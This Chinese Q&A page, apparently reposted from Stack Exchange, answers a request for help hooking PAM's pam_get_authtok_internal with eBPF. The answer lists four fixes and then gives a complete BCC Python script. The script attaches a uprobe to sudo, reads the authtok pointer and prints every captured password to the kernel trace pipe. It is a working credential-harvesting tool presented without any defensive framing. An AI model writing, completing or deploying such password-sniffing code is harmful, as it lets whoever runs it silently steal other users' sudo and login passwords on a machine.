使用eBPF挂钩pam_get_authtok_internal失败,请求技术协助
问题排查与修复方案
你的代码存在几个关键问题,导致无法成功挂钩pam_get_authtok_internal并获取密码,以下是具体问题和修复方式:
1. 缺失类型声明,编译失败
BPF程序中使用了pam_handle_t类型,但未进行前置声明或包含对应头文件,编译时会因类型未定义报错。只需在BPF代码开头添加类型声明即可(仅需声明指针类型,无需完整定义结构体):
struct pam_handle_t;
2. 错误读取authtok参数
authtok是const char **类型(指向密码字符串的指针),你当前直接读取authtok本身,实际获取的是指针的内存地址而非密码内容。需要先读取*authtok指向的字符串:
const char *password_ptr; // 先获取authtok指向的指针地址 bpf_probe_read(&password_ptr, sizeof(password_ptr), authtok); // 再读取指针指向的密码字符串 bpf_probe_read_str(buf, sizeof(buf), password_ptr);
3. 未正确关联Python端输出逻辑
你定义了Python的print_password函数,但并未将其绑定到BPF的输出通道。同时BPF中使用bpf_trace_printk输出,需要通过读取内核trace管道获取内容,而非自定义未关联的函数。可以替换为以下读取逻辑:
while True: try: print(b.trace_readline()) except KeyboardInterrupt: break
4. sudo_path变量未定义
代码中attach_uprobe使用了sudo_path但未赋值,需要指定sudo的实际路径,比如:
sudo_path = "/usr/bin/sudo"
修复后的完整代码
from bcc import BPF sudo_path = "/usr/bin/sudo" bpf_text = """ #include <uapi/linux/ptrace.h> struct pam_handle_t; int print_password(struct pam_handle_t *pamh, int item, const char **authtok, const char *prompt, unsigned int flags) { char buf[256]; const char *password_ptr; bpf_probe_read(&password_ptr, sizeof(password_ptr), authtok); bpf_probe_read_str(buf, sizeof(buf), password_ptr); bpf_trace_printk("Password: %s\\n", buf); return 0; } """ b = BPF(text=bpf_text) b.attach_uprobe(name=sudo_path, sym="pam_get_authtok_internal", fn_name="print_password") # 读取内核trace输出 while True: try: print(b.trace_readline()) except KeyboardInterrupt: break
内容的提问来源于stack exchange,提问作者Gonen Levy
相关产品推荐
相关产品推荐

